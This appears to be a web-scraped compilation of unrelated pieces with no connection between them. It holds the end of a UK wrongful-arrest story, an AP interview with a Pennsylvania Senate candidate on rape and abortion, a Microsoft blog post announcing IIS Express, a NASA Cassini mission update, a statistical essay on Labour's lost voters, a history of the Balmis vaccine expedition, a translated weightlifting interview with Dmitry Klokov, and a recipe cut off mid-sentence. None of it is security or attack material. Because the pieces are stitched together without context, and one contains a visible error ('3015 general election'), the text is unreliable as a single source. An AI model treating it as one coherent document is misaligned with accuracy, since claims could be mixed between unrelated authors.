requested, without applying handcuffs, I do not know how he would deal with a crowd of drunks on Saturday night.” She added that Sgt Helyer’s actions that day were “not just ill advised and disproportionate but, arbitrary, high handed, intimidating and oppressive.” Last week, Mrs Cadman-Khan said: “All I ever wanted was to clear my name. I would not give up until that was done. “Aimee was traumatised by this, she slept in our room for two years after that and still sleeps with the light on. As I was led away that day all I could hear was her screaming ‘I want my mum, I want my mum’. He tried to put a case against me that I was an unfit mother, but if I’m good at anything I’m a good mother. This child is my life.” -Via Think Progress Tom Smith is a Republican running for Senate in Pennsylvania. Mark Scolforo of the Associated Press interviewed him yesterday afternoon. MARK SCOLFORO: How would you tell a daughter or a granddaughter who, God forbid, would be the victim of a rape, to keep the child against her own will? Do you have a way to explain that? SMITH: I lived something similar to that with my own family. She chose life, and I commend her for that. She knew my views. But, fortunately for me, I didn’t have to.. she chose they way I thought. No don’t get me wrong, it wasn’t rape. SCOLFORO: Similar how? SMITH: Uh, having a baby out of wedlock. SCOLFORO: That’s similar to rape? SMITH: No, no, no, but… put yourself in a father’s situation, yes. It is similar. But, back to the original, I’m pro-life, period. -Developers today build and test ASP.NET sites and applications using one of two web-servers: The ASP.NET Development Server that comes built-into Visual Studio The IIS Web Server that comes built-into Windows Both of the above options have their pros and cons, and many ASP.NET developers have told us: “I wish I could have the ease of use of the ASP.NET Development Server, but still have all the power and features of IIS”. Today I’m happy to announce a new, free option that we are enabling – IIS Express - that combines the best characteristics of both, and which will make it easier to build and run ASP.NET sites and applications. IIS Express will work with VS 2010 and Visual Web Developer 2010 Express, will run on Windows XP and higher systems, does not require an administrator account, and does not require any code changes to use. You will be able to take advantage of it with all types of ASP.NET applications, and it enables you to develop using a full IIS 7.x feature-set. How Things Work Today Before I get into the details of IIS Express, let’s first quickly review how the ASP.NET Development Server and IIS options work today. ASP.NET Development Server Visual Studio’s built-in ASP.NET Development Server (also known as “Cassini”) has the benefit of being light-weight and easy to quickly run. It doesn’t listen on remote ports (which makes it easier to get approved for many corporate security environments), works even when you are running under a non-administrator account, and doesn’t require a separate installation step. The fact that it is so easy to get running is a huge positive of it – and the reason it is the default web-server used by ASP.NET projects in Visual Studio when you press F5 to run them: The downside with the ASP.NET Developer Server, though, is that it does not support a full set of web-server features. For example, it doesn’t support SSL, URL Rewriting Rules (like the SEO URL Rewrite Rules I blogged about here), Custom Security Settings, and other richer features now offered with IIS 7. IIS Web Server IIS is the other option developers use when running and testing their applications with Visual Studio. You can configure a web project within Visual Studio to use IIS by right-clicking on the project and pulling up its properties (and then by clicking on the “Web” tab within the properties window)": Using IIS as your development server allows you to take full advantage of all web-server features (SSL, URL Rewrite Rules, etc). IIS is a full-fledged web-server – which means you’ll get an experience closer to what it will work like when you deploy the application on a production server. The downside with using the IIS option today, though, is that some companies don’t allow full web-servers to be installed on developer machines. IIS also requires administrator account access to setup and debug projects. Different versions of Windows also support different versions of IIS. For example, if you are running on Windows XP you have to use the IIS 5.1 web-server that comes with it – which doesn’t support all the new features of IIS 7.x. Configuring a web project within VS to use IIS also requires some extra installation and configuration steps. IIS Express – The Best of Both Options We have been working on a new flavor of IIS 7.x that is optimized for developer scenarios that we are calling “IIS Express”. We think it combines the ease of use of the ASP.NET Web Server with the full power of IIS. Specifically: It’s lightweight and easy to install (less than 10Mb download and a super quick install) It does not require an administrator account to run/debug applications from Visual Studio require an administrator account to run/debug applications from Visual Studio It enables a full web-server feature set – including SSL, URL Rewrite, Media Support, and all other IIS 7.x modules – including SSL, URL Rewrite, Media Support, and all other IIS 7.x modules It supports and enables the same extensibility model and web.config file settings that IIS 7.x support It can be installed side-by-side with the full IIS web server as well as the ASP.NET Development Server (they do not conflict at all) It works on Windows XP and higher operating systems – giving you a full IIS 7.x developer feature-set on all OS platforms IIS Express (like the ASP.NET Development Server) can be quickly launched to run a site from a directory on disk. It does not require any registration/configuration steps. This makes it really easy to launch and run for development scenarios. VS 2010 Integration We are enabling IIS Express so that it can be easily used with Visual Studio 2010. You’ll be able to configure VS 2010 to use it instead of the ASP.NET Web Server as the default web-server on ASP.NET Projects. Like the ASP.NET Development Server today, you won’t need to register a site or virtual directory to use IIS Express. It will support the same usage-model as the ASP.NET Development Server today – just with more feature support. When you press F5 to run an ASP.NET project, Visual Studio can automatically launch IIS Express and use it to run/debug the application (no extra configuration required). Like the ASP.NET Web Server, IIS Express will show up in your task-bar tray when running: You can right-click and click “exit” on the icon above to quickly shutdown IIS Express. You can also right-click and pull up a list of all sites running with it, as well as the directory location and .NET versions they are running under: Two cool things to notice above: 1) The “Test Site” we are running, as well as IIS Express itself, live under the c:\users\[username] folder on disk. This enables non-administrator usage of IIS Express and sites – and enables a bunch of scenarios not possible with the full IIS today (including the ability to run IIS Express in both a locked-down enterprise environment as well as a locked-down school shared computer environment). 2) The “Test Site” we are running above using IIS Express supports both HTTP and HTTPS access. IIS Express automatically installs a “self-signed certificate” and enables URL ACLs and SSL Certificates for ports so that developers (running as non-administrators on a machine) can use SSL without needing to elevate their accounts or setup any additional configuration. This enables you to configure secure pages within your applications (like Logon forms) for SSL and run/test them at development time just like they’ll work on your real web-server. IIS 7.x Feature Set IIS Express is as easy to run and use as the ASP.NET Web Server you are familiar with today. But because IIS Express is based on the IIS 7x codebase, you have a full web-server feature-set that you can use. This means you can build and run your applications just they’ll work on a real production web-server. In addition to scenarios like SSL, you can take advantage of the IIS 7.x URL Rewriter module, Media Extensions, Dynamic Compression, Advanced Logging, Custom Security and other rich modules now available. In addition to supporting ASP.NET, IIS Express also supports Classic ASP and other file-types and extensions supported by IIS – which also makes it ideal for sites that combine a variety of different technologies. Summary We think IIS Express makes it even easier to build, run and test web applications. It works with all versions of ASP.NET and supports all ASP.NET application types (including obviously ASP.NET Web Forms and ASP.NET MVC applications). Best of all – you do not need to change any code to take advantage of it. You’ll be able to optionally use it with all your current projects today. We’ll be releasing the first public beta of IIS Express shortly. With the beta you’ll be able to right-click on a file-system folder and have IIS Express launch a web-site based on that file-system location. We’ll also be releasing a patch for VS 2010 and Visual Web Developer 2010 Express later this year that will enable you to automatically launch and use IIS Express in place of VS’s built-in ASP.NET Developer Server. Future versions of Visual Studio will then ship with this functionality built-in. Hope this helps, Scott P.S. In addition to blogging, I am also now using Twitter for quick updates and to share links. Follow me at: twitter.com/scottgu -Cassini’s Latest Dive Through Saturn's Rings Reveals Spectacular Detail ­ NASA’s Cassini spacecraft has now successfully completed its 12th ring crossing at Saturn, and is now well past the halfway point of the Grand Finale phase of its mission. Each ring crossing, with now only 10 left, brings Cassini closer to its inevitable end in September, when the spacecraft will plunge into Saturn’s turbulent atmosphere to meet its fiery fate. So far, everything has been going to plan. “It’s doing exactly what it’s supposed to do,” said Julie Webster, Cassini’s manager of spacecraft operations. “The spacecraft is executing every command that’s asked of it.” The Grand Finale phase began last April and will conclude on Sept. 15, when the mission will end after about 13 years. During that time, Cassini has revealed Saturn and its moons to human eyes as never before, providing unprecedented views of these enigmatic worlds. “No spacecraft has ever gone through the unique region that we’ll attempt to boldly cross 22 times,” said Thomas Zurbuchen, associate administrator for the Science Mission Directorate at NASA Headquarters in Washington. “What we learn from Cassini’s daring final orbits will further our understanding of how giant planets, and planetary systems everywhere, form and evolve. This is truly discovery in action to the very end.” During the ring crossings, Cassini “dives” between the innermost rings and the planet itself, a space of about 1,500 miles (2,000 kilometers), something that no spacecraft has done before. Needless to say, the views have been spectacular, with incredible details seen in both the rings and the atmosphere. During each ring crossing, the spacecraft has specific observational tasks; for this one, these include: Cassini’s Ultraviolet Imaging Spectrograph (UVIS) stares at the star Kappa Canis Majoris, as parts of the C ring and A ring pass between the spacecraft and the star. The spacecraft’s Composite Infrared Spectrometer (CIRS) observes the occultation as well. Cassini’s imaging cameras, the Imaging Science Subsystem (ISS), observes some of Saturn’s known ring propeller features, then targets the border region of the F ring and A ring to study ring dynamics there. Cassini’s UVIS instrument also studies small-scale structures in the rings. During this orbit’s ring-plane crossing, the spacecraft is oriented such that its high-gain antenna (the big dish) faces forward (called “HGA to RAM”) to help shield the spacecraft from ring particles. Also during ring-plane crossing, in the brief period in which impacts are most likely, the Radio and Plasma Wave Science (RPWS) instrument “listens” for the impacts of ring particles, which produce detectable plasma clouds when they strike the spacecraft. The antenna protrudes several meters beyond the protection of the high-gain antenna and so still detects impacts. During this orbit, Cassini gets within 2,320 miles (3,730 kilometers) of Saturn’s 1-bar level. Cassini also passes within 2,470 miles (3,980 kilometers) of the inner edge of Saturn’s D ring. All of Cassini’s raw images can be seen here on the mission website. Be sure to “LIKE” AmericaSpace on Facebook and follow us on Instagram & Twitter! . -A major discussion point for the Labour party at present is the thorny issue of electability – or their lack thereof. The contemporary charge is that Jeremy Corbyn, whilst apparently on course to prove that he is eminently electable as leader, is not deemed electable as a prospective prime minister. The Labour party is currently locked in the most divisive of internal debates as it attempts to navigate itself into a position of perceived electability by 2020. There are a series of core challenges to be addressed. One is the status of Corbyn as political champion of a re-awakened Left, and whether this enthusiastic constituency is reflective of a broader trend within society. Another is concerned with the wider ambitions of the Labour party itself, and how it should locate itself on the political spectrum. With regards to this latter problem, Tony Blair’s electoral successes between 1997 and 2005 shed light on the potential pitfalls of various electoral strategies. The Labour party is divided over the issue of where exactly they will find the ‘missing millions’ of voters that could prove the source future electoral success. Corbynistas advocate a view of their politics that is regenerative and reinvigorating, believing that their man has the capacity to capture voters that have simply disengaged with politics entirely. Their most vigorous opponents will offer a diametrically opposed opinion that portrays it as aggressive, uninhibited and self-marginalising. The Corbynite stance diverges, pivotally, from those that remain adherents of a Blairism that potentially remains valid in the post-Iraq War era. This politics views the centre ground as the critical vehicle of electability. At present, it remains unclear as to which side is more in sync with the trends that are yet to fully crystallise within British politics. There is evident uncertainty surrounding any identifiable resurgence of moderate left wing viewpoints (outside of the Corbyn bubble). This uncertainty leads people to defer simply to 'using what we currently know': supposedly, that centrist appeal wins elections. This buttresses the arguments of centrists in the short term. However, historic election results present some fascinating statistical variances that it is worth becoming reacquainted with. Uncertainty leads people to defer simply to 'using what we currently know': supposedly, that centrist appeal wins elections Firstly, are there ‘missing millions’ out there? New Labour’s stunning initial electoral success, which was followed by dramatic drops in voters and falling turnout, suggests that there are: in 1997, the project secured endorsement from 13.52 million voters. Blairites frequently venture the mantra ‘played three, won three’ to emphasise the success of the electoral machine that Blair oversaw. But what escapes in such a simplistic summary is the fact that New Labour, when subsequent elections came around, was actually losing significant support throughout its entire period in office. It is the middle election (alas, like a middle child, so often forgotten) that is the most instructive. By 2001, with New Labour in its pomp (benefiting from the experience of governing and with Iraq, at that time, merely a generic foreign policy consideration), Blair managed the incredible feat of losing 2.8 million voters. By 2005, when New Labour won its third consecutive election, an additional 1.17 million voters had been lost – leaving only 9.55 million voters that were still on board. Granted, electoral performance would subside further with Gordon Brown at the helm (reaching a low of 8.61 million voters in 2010) resulting in the forfeiture of office before a small recovery by 2015 with Ed Miliband adding back in just under a million voters to secure an overall total of 9.35 million. Comparing the total number of Labour voters in 1997 against that of 2015 results in a net loss of 4.17 million. Lazier, or more politicised commentators, promulgate the view that New Labour’s electoral success was the result of a magic formula comprised of force of personality, political nous and the fabled spectrum shift away from the murky waters of the Left. This thesis doesn't sit comfortably with the factual reality that, in its prime (the 2001 election), New Labour was seeing voters desert it in the millions – a scenario that would be largely replicated in 2005 and 2010. Data indicates that not all of these voters could have been moderate Conservatives swayed in 1997 by Blair only to begin the slow march back to their more natural home over the course of subsequent elections. In fact, with regard to 1997, it is intriguing to observe the spectacular collapse in Conservative party votes from 14.09 million in 1992 to 9.6 million just five years later – a net loss of 4.49 million voters. It is a statistical impossibility for New Labour to have absorbed this total – given that their net increase in votes between 1992 and 1997 was ‘just’ 1.96 million voters (even in 1992, they had a surprisingly strong base of 11.56 million voters). At best, should centrists wish to claim that, in 1997, Blair was the architect of a decisive switch in traditional Conservative voting mindset and attribute all 1.96 million additional voters won to this, it would still leave 2.53 million Conservative voters (from 1992) unaccounted for. Where did they go? Blair managed the incredible feat of losing 2.8 million voters The answer, potentially, to the curious case of the missing Conservative voters in 1997 could lie within the vagaries of turnout figures. This could also prove instructive when probing other electoral conundrums, such as why voting support for both of the UK’s most established parties has seen notable periods of decline since then. The turnout figure in 1992 (an election that incumbent prime minister John Major was widely expected to lose to Neil Kinnock’s Labour party) was an astonishing 77.7%. For context, this figure was only surpassed on four other occasions – 1950, 1951, 1959 and February 1974 (with the latter two by just a small margin). Was 1992 the last modern hurrah of such widespread voter engagement? By 1997, and the arrival of New Labour in a blaze of publicity that heralded this new wave of political engagement, turnout actually fell 6.3% to 71.4%. Could this fall be translated into the unaccounted Conservative voters that disappeared between 1992 and 1997? It is a tricky conclusion to draw but it at least merits consideration Remarkably, the Conservative party continued to haemorrhage support throughout the same period that Blair’s New Labour was forfeiting millions of voters. The Conservative nadir was prolonged across the 2001 and 2005 elections (where they secured just 8.34 million and 8.78 million voters respectively). Given the travails of both major traditional parties in this era (despite presentation of the Blair era to the contrary), it is no surprise to identify that turnout was lamentable – recorded at 59.4% in 2001 GE and 61.4% in 2005. There has been an element of improvement in the two subsequent elections – the net result being an improvement to 66.2% by 2015. One outcome, which enabled a decisive electoral victory rather than another prospective coalition government, was the increase in Conservative voters to a total of 11.3 million. This confirmed the party’s return to a semblance of political dominance but it must be noted that their 2015 total voters still fell short of their 1992 peak by 2.79 million voters. It appears that the most notable beneficiaries of the increase in turnout in 2015 were actually “other” parties (most notably UKIP) whose total number of voters increased by 3.12 million. Exactly where UKIP voters will feature either on the political spectrum by 2020, and whether large numbers of them would re-align with a more established party, is a huge unknown. the most notable beneficiaries of the increase in turnout in 2015 were actually “other” parties (most notably UKIP) It is evident that politics is undergoing a process of transformation – and it may be proven true that traditional assumptions no longer apply. In the short term, it would be unwise to definitely claim that a revolutionary new era of politics has arrived. Nonetheless, there are missing voters out there – exactly what colour their political hue is, or could become, remains more difficult to analyse. We have to go back to 1992 to witness the last occasion that UK voters turned out in earnest (when 33.61 million people voted). The most recent effort in the 3015 general election (and bear in mind this took place with an increased overall population) only mustered 30.7 million voters. In short, and reducing an article entirely focused on statistical analysis to the most pertinent numbers, it is evident that there is much to play for – which is why the debate for the soul of the Labour party is particularly pivotal. The complexity inherent within the electorate is such that the Labour Party must identify a brand of politics that harnesses the emergent trend of popular left-wing attitudes meshed with a consideration for the forgotten constituencies that have not recently participated in electoral processes. They also need to remain aware that there are traditional 'small c' conservative mindsets out there that also need to be harnessed as part of any attempt to build a platform of electability (and head off any potential continued resurgence of Conservative voting numbers) indicates the scale of the challenge. The most productive next step that post-New Labour could engage in is reasoned and constructive debate with regard to arriving at a clear and decisive understanding of the 1997 results. I am a staunch critic of Blair (for reasons directly related to the Iraq War); however, the electoral performance he oversaw at the start of his tenure proved that Labour was capable of winning the support of 13.52 million people. Blairites would benefit from a dash of humility and, rather than blandly trot out the ‘played three, won three’ argument, promote a more nuanced discussion of electoral appeal. Corbynistas would be wise to focus on identifying, in detailed fashion, just what brand of politics the ‘missing millions’ might be motivated by as opposed to relying on the internal momentum they seem to have built for themselves. Summary extract of relevant election statistics: Votes (m) CON LAB LD PC/SNP Other Total 1992 14.09 11.56 6.00 0.78 1.18 33.61 1997 9.60 13.52 5.24 0.78 2.14 31.29 2001 8.34 10.72 4.81 0.46 2.03 26.37 2005 8.78 9.55 5.99 0.59 2.24 27.15 2010 10.70 8.61 6.84 0.66 2.88 29.69 2015 11.30 9.35 2.42 1.64 6.00 30.70 % share CON LAB LD PC/SNP Other Total 1992 41.9% 34.4% 17.8% 2.3% 3.5% 100% 1997 30.7% 43.2% 16.8% 2.5% 6.8% 100% 2001 31.6% 40.7% 18.3% 1.8% 7.7% 100% 2005 32.4% 35.2% 22.0% 2.2% 8.2% 100% 2010 36.1% 29.0% 23.0% 2.2% 9.7% 100% 2015 36.8% 30.4% 7.9% 5.3% 19.6% 100% Turnout Eng Wal Sco NI UK 1992 78.0% 79.7% 75.5% 69.8% 77.7% 1997 71.4% 73.5% 71.3% 67.1% 71.4% 2001 59.2% 61.6% 58.2% 68.0% 59.4% 2005 61.3% 62.6% 60.8% 62.9% 61.4% 2010 65.5% 64.8% 63.8% 57.6% 65.1% 2015 66.0% 65.7% 71.0% 58.1% 66.2% Online source for election statistics (including extract above): http://researchbriefings.parliament.uk/ResearchBriefing/Summary/CBP-7529 -Expedition by Balmis and his collaborators to America Detail of expedition's routes in The Philippines The Balmis Expedition (1803–1806) was a three-year mission to Spanish America and Asia led by Dr. Francisco Javier de Balmis with the aim of vaccinating millions against smallpox. Vaccination, a much safer way to prevent smallpox than older methods such as inoculation, had been introduced by the English physician Edward Jenner in 1798. The Balmis expedition, officially called Real Expedición Filantrópica de la Vacuna (Royal Philanthropic Vaccine Expedition), set off from A Coruña on 30 November 1803. It may be considered the first international healthcare expedition in history.[1][2] Jenner himself wrote, "I don't imagine the annals of history furnish an example of philanthropy so noble, so extensive as this." King Charles IV of Spain supported his royal doctor Balmis since his Infanta Maria Teresa, his daughter, had died from the illness. The expedition sailed on Maria Pita and carried 22 orphan boys (aged 8 to 10) as successive carriers of the virus; Balmis, a deputy surgeon, two assistants, two first-aid practitioners, three nurses, and Isabel Zendal Gómez, the rectoress of Casa de Expósitos, an A Coruña orphanage.[3] The mission took the vaccine to the Canary Islands, Colombia, Ecuador, Peru, Mexico, the Philippines and China.[4] The ship carried also scientific instruments and translations of the Historical and Practical Treatise on the Vaccine by Moreau de Sarthe to be distributed to the local vaccine commissions to be founded. In Puerto Rico, the local population had already been inoculated from the Danish colony of Saint Thomas. In Venezuela, the expedition divided at La Guayra. José Salvany, the deputy surgeon, went toward today's Colombia and the Viceroyalty of Peru (Venezuela, Panama, Colombia, Ecuador, Peru, Chile, and Bolivia). They took seven years and the toils of the voyage brought death to Salvany (Cochabamba, 1810). Balmis went to Caracas and later to Havana. The local poet Andrés Bello wrote an ode to Balmis. In New Spain, Balmis took 25 orphans to maintain the infection during the crossing of the Pacific. In the Philippines, they received help from the Catholic church, which was initially reluctant until Governor-General Rafael Aguilar made an example by vaccinating his five children.[5] Balmis sent most of the expedition back to New Spain while he went on to China, where he visited Macau and Canton. On his way back to Spain, Balmis convinced the British authorities of Saint Helena (1806) to be vaccinated. Julia Alvarez wrote a fictional account of the expedition from the perspective of its only female member in Saving the World (2006). -Meanwhile in Russia … Dmitry Klokov sat down for his own “On Par” interview with Alexander Zakharov. Thank him for doing this interview and subscribe to his channel for more weightlifting videos. If you (like me at first) thought that after the many interviews Dmitry gave in the recent past, there wasn’t anything new we could learn about him, then you were wrong. Thanks again to Sergiy Turchyn for translating. More “On Par” Interviews by Dmitry Klokov here. Update: Beginning of Part 3 added below. Part 1 At first, Klokov talked about his business. He is going to produce pretty much everything for weightlifting and crossfit: bars, t-shirts, straps, shoes, etc. He also said that he has a very big project in mind but it is too early to hear about it. He said how many weightlifters don’t know the price of themselves and agree to be underpaid in sponsorship contracts etc. For example, he mentioned that Apti was offered $1000 for a seminar and was very happy. Klokov replied that Apti should have raised it to $3000-$5000. As for his training, he is always ready to lift 195+220. Why he doesn’t need the Olympic gold: He earns like 10 times more than he used to as a weightlifter. All of his current business connections may fail if he disappears for 1.5 years in training camps. He likes to lift and he does it every day. He doesn’t have to push himself to the limits to train for fun. But he also mentioned April as the date for the final decision. Because going for the Olympics may be reasonable if all his sponsors agree on it and support him. In this case he will lift in Russian Cup and qualify for the national team. He was saying bad things about sports authorities. They told him that he can compete in nationals and qualify for worlds/Olympics. He knows that this has never worked ever and there are many more shady things. But he is ready to stand against because he has reputation and fame, so they will have to listen to him. He mentioned how after London they said a lot of horrible and false things about him to the higher authorities, so that they hate him now. Overall, he just sounds like a businessman who knows his price. He still cares about quality though. In a discussion about barbells he said that companies like Eleiko don’t need to prove anything because they already have reputation. But new companies often have cheaper price and better quality to get their place in the market. In the same manner, everything he does now he is trying to do in the best way possible. He mentioned how his seminars were planned to last 6.5 hours but actually lasted 10-12 because he wanted each client to be satisfied. Part 2 About Sharing Contact Info I share all my contact information including the phone number and email. People from another countries message me every day, but Russians don’t. Some wonder why I share all this info. I do because I am an open person. There are numerous invites to commercial competitions coming to the Russian Weightlifting Federation. Many of them have no drug testing. Russians could just go, lift, and get like $5000. Unfortunately, such invitations often don’t reach athletes because of one person who handles the paperwork. That’s why athletes should give out their contact information. Because of being open, I get many offers. Every single big company related to weightlifting has made some kind of offer to me. I was an athlete for so many years and nobody wrote to me. Now, when I sort of finished my career, they write me every day. About the Seminars We were sitting and drinking beer. All of the national team. Vasya Polovnikov says: “Dima, I was in America and they all want you to come. You, Akkaev, Apti and Ilyin. Will you go there?”. “Sure.” We said that as a joke, but in a few days they wrote to me from Italy and invited for a seminar. I agreed, so before the USA trip I already had some experience. Then our American friends planned the whole trip and we did it. After it I was working alone, without Vasiliy. – Why without him? It is business. We didn’t really earn a lot in the US. There were 5 of us. We got the same money I get alone, but had to share it. It’s just more effective to do it alone. It’s not like I let him down. We are just working separately. If, say, Apti wants to do a seminar, he can go ahead and do it. If they need help with contacts, I will help them. I have connections with the whole world. I travelled across 26 countries in 8 months. I am so tired of sleeping in airports like a bum. Flights are often delayed. Right now it took me 36 hours to get here from Brazil. It was supposed to take 23 hours. Where did I sleep? Airports. It is very hard. Yes, it is a lot of money. Really a lot. But it is hard. Sometimes there is no time to take a shower. There is no time to eat or sleep. I slept 4 hours a day. I came home after a seminar and took care of other business, such as my online training with 8 guys. Just this takes me about 2 hours a day. There is a lot of work. Nobody of the current athletes could do the same I am doing. Vasya Polovnikov can do it. Oxana Slivenko can also handle that. I just know how hard they work. I can’t really tell how long I will be doing seminars. It is a business and each business has an expiration date. One day it will transform into a different thing that we are preparing right now. About the Olympics, Once More You mentioned your plans for the Olympics. What if you get injured like the media told before London? What if you don’t show good enough results? Can you lose the interest of all the sponsors? That can happen. This is why the question about the Olympics is so hard. My team and I have to consider every possibility to make the final decision. About Travelling and Language Why do I want to travel around the whole world? Sometimes I travel to countries that pay less if I have never been there. When you travel to a new country, people will talk to you, share the pictures in the social networks. You get more popular. That increases my price. Sponsors pay me more. Why am I starting to talk in English? Because 90% of my viewers are not Russian. I don’t have subtitles because my videos are like a reality show. If I post a video, it was filmed either today or yesterday. There is just no time to make subtitles. I have people who could do that. Many athletes create their own websites. Do you plan to do it? Why? I think social networks are enough. Want video? Go on Youtube. Want photos? Go on Instagram, VK, etc. Want to write to me? Use the same websites. About his Company I want to work hard People want me to do a seminar in Russia. Well, take care of it. Nobody wants to. I don’t have time. My wife is also busy [In the part 1 he mentioned that the core of his Winner company is his dad and wife]. I don’t want to recruit random people. I want to work with those I can trust. Guys from the national team all want to be directors and I don’t need a director. I offered Dima Lapikov to be a part of my company. He doesn’t want it. Others are the same. Vasya Polovnikov wanted to sell supplements. I told him: “Here is an office, here is a warehouse. Go ahead and use it.” He didn’t want to. Akkaev once told me that he likes me for always doing what I tell I will do. It’s pointless to sit and talk about millions. You need to get up and work your ass off for it. That’s why so many people want to be directors and authorities: you just sit there with paperwork, do nothing and get paid. Nobody wants to create anything. All athletes want to win something and then do nothing. I am not like that. I want to work hard. About Crossfit Haters in Russia I don’t differentiate between weightlifting and Crossfit. All those haters do. Powerlifting and bodybuilding used to be like that – a foreign sport in Russia. How did they start? Everybody denied them. A while ago you could get in prison for owning a bodybuilding gym… Now they are popular. Crossfit is following the exact same path. It is a new foreign sport. Some people think that we should not develop it and develop our own weightlifting sport. Crossfit will become popular. You can’t hide from it. Why hate it if Crossfit can really help weightlifting? Look at America and Australia. There are much more weightlifters now thanks to Crossfit. The same will happen in Russia. Why do you hate it? Are you idiots? About Crossfit Coaches in the USA You know, there are many things I don’t like in Crossfit. I talk about them. The more popular you are, the more people listen to you. For example, these Level 1 seminars that make you a coach in 2 days. 2 days!!! In just 2 days you learn gymnastics, rowing, weightlifting, and everything else. I attended one of such courses. The instructor knew me, so I could see the shame in his eyes when he was talking about weightlifting. He knew that it was their problem. According to Igor Zaripov, the same can be said about gymnastics. Crossfit is not a sport. It is business. Well, it is sport for athletes, but it is business for businessmen. There are many injuries in Crossfit. They don’t have a gym culture. They throw plates everywhere. Look at our weightlifting gym and their Crossfit gym. How can American coaches teach others if they know nothing themselves? They don’t have weightlifting in America. And they come to Russia to teach us weightlifting on Crossfit certifications! About Gyms There are only a few of weightlifting gyms in America. But really Crossfit and weightlifting gyms are the same thing. That is why I am trying to promote Crossfit. In Moscow there are 7-8 weightlifting gyms and 7-8 Crossfit gyms. However, Crossfit gyms have Eleiko equipment, new bars, platforms… And you can do the same exercises in there. Berestov was saying that he couldn’t get the government fund weightlifting equipment for children … This is Russia, forget about it! Nobody will give anything to you for free. It is business. Open your own gym; call it Crossfit if you need to. But this will be a place where one can Snatch, Clean and Jerk. And this person must pay for the gym. You must pay for weightlifting too, or you will have this old equipment that will cause more injuries! The authorities will not give money to maintain the gym. You can go another way and attract sponsors. In America each gym has sponsors who pay the most money to maintain the gym: supplement, clothing, equipment companies that have their products in the gym. Just do the same! Stop dreaming about new weightlifting gyms being opened. About Making Money as a Weightlifter The problem is that everyone tries to market weightlifting as a sport. This is not right. You should promote each athlete individually. Just like I am doing right now. Young guys don’t want to be weightlifters You love weightlifting, but the general public does not know how it is different from powerlifting and bodybuilding. The general public will not like weightlifting, but they can like a person who is a weightlifter. Young guys don’t want to be weightlifters. They want to be like Klokov, like Apti … People wanted to watch Rigert and Alexeev. They did not come for weightlifting, they came for Rigert and Alexeev. In light weight classes there was much smaller audience. Suppose you are a company that sells supplements. You come to Chingiz Mogushkov and offer to be his sponsor. Where will he show your products? Nowhere. But if he is active in social networks and TV, then there are ways to market the product. You will pay him more or less depending on how popular he is in social networks. Who is doing all of this? Nobody. When I come and tell them, they start but then slowly stop. Just like this program “On Par”. I created it and someone can just copy me, or improve and make it better and get better audience. There are many issues here. You could film it in different locations, add videos about athletes, their photos, put in more video editing. I know how to make it perfect; I just don’t have time because I am doing it myself. I am doing it myself because I don’t like to rely on others. I have nobody to blame for my problems. That’s why I don’t have a coach. This way if I screw up I can only blame myself. I don’t trust other people. About his Future Plans Next year I will organize a competition in weightlifting and Crossfit. Well, not really weightlifting. It will be a mix of all iron sports and will let all kinds of athletes compete among themselves. I have an idea, you will see it next year. I will start working on this when my equipment arrives. About the Interview Many will say that I am an egoistic moron. I already know what they will write in comments. However, I don’t care. We will see in 2-3 years. I will be laughing at people who hate Crossfit now. Because in 3 years my goal is to make Crossfit popular in Russia. And it will make weightlifting more popular. You can go into any Crossfit gym and do your Snatches, Cleans, and Jerks. Nobody would let you do them in a commercial gym. Stop hating. Part 3 First 20 minutes from commenter “wat”. (Come on guys, chose normal names please.) Why do you put crossfit hashtag in everything you post? First, because the term crossfit is googled so much more than term weightlifting. Second, many crossfit athletes understand they have no technique. Many crossfit coaches understand they have no technique. They watch pro weightlifters to pick it up! They understand crossfit is a cult and they know it does not provide relevant weightlifting knowledge. You seem to curse a lot lately. You can hear me cursing only if I do something serious! Complexes I post are VERY hard, and I cannot cut it out, and I cannot really control what I say. After the 140kg Barbell Frog Jumps I could not sit for two weeks. I could not even Squat with 140 kg! Why did you open your channel? Last july I understood I should treat myself as a show business person. I brought myself to sponsors. You need to do that, or nobody will ever know you exist. Our first Polovnikov-Ilyin-Klokov Videos were written before we shot them. The jokes we told were scripted beforehand tried to make them as entertaining as we could. You moved from weightlifting videos to crossfit videos. Aren’t you afraid of losing the weightlifting audience? I personally stopped watching them cause I knew there will be more crossfit stuff. There are more crossfit viewers than weightlifting viewers. I don’t really care. Obviously some weightlifters can lose interest. But there is time for everything. We are making a e-book about how to train, how to eat etc. It will be in English. I can give a lot of information, but I won’t give it for free. I can make a free seminar, but guess what, I don’t want to spend my weekends on free seminars, and people don’t come to seminars on weekdays. I thought I was going to speak with a sportsman, but now I realize I am speaking with a businessman, a commersant. Yes. 100% sure. My ego tells me “go back to the weightlifting, go back, take a title”. But I am very spontaneous and I follow what I decide. If I announce: “I’m going to be the best, I’m going to beat Akkaev and Ilyin, I gotta do my best to fulfill that. I am a man my word. But that is not good for me. So I’m going think ten times before I decide in April. Right now I don’t want. I try to suppress the desire to compete. I am a 32 years old. If I knew I got to be first, goddamn, if I knew I’m going to be SECOND, I would easily go. It is just too much work, too much competition, too many people don’t want me to go. The rest is really boring, they mostly chat about nothing. Notable moments: The video where I lifted girls on the beach actually became somewhat viral in Mexico and USA. Several TV channels asked my permission to publish it (not only in the context weightlifting: “how to pick up girls on the beach” etc). “On par” is a “rip off” from a popular russian business TV show (‘business secrets’). I like business from childhood – I collected empty bottles when I was a kid and recorded music tapes for my friends for money. What do you do to be able to sit so low in the squat position? Nothing, I could do that from the beginning. Judo made me very flexible. I happened to touch the ground with my ass during the snatch. He admires bodybuilders and says real pro bodybuilders know how to gain muscle/remove fat at least as good as weightlifters. Still he notes that “A lot of bodybuilding tips are simply nonsense.” More Dmitry Klokov Interviews: -I am currently chowing down on my new recipe. I’m excited to share it, so let’s get the tally over with. Breakfast Granny Apple, sliced, with almond butter Lunch Finished off Gina’s kind-of goulash Strawberry lemonade Dinner Gina’s Fridge Leftover Surprise! (see below) I am quickly running out of food in my kitchen. I try to make my grocery store runs last two weeks, so I “can’t” go to the store till Wednesday. So it was up to me to use the art of throwing sh*t together to make myself a dish that would last me a couple of days. I was actually halfway through making chicken, tomato, garlic and onion (a typical feature for me) when I decided I was going to be inventive. How did I do that? Bacon fat! Without further ado, here is the recipe: Gina’s Fridge Leftover Surprise! Ingredients: 1 large yellow onion, diced/chopped 1 head garlic (yes, a whole head), chopped 1lb chicken leftover bacon lard (depends on how much you need to grease the pan) The basic theory of this recipe is to use the bacon grease in the stead of something like olive oil or coconut oil to provide lubrication for the pan. That way, the much-stronger flavor of the bacon grease soaks into your food. With that said: Directions: .5. Season raw chicken to taste — I used garlic powder, salt, and 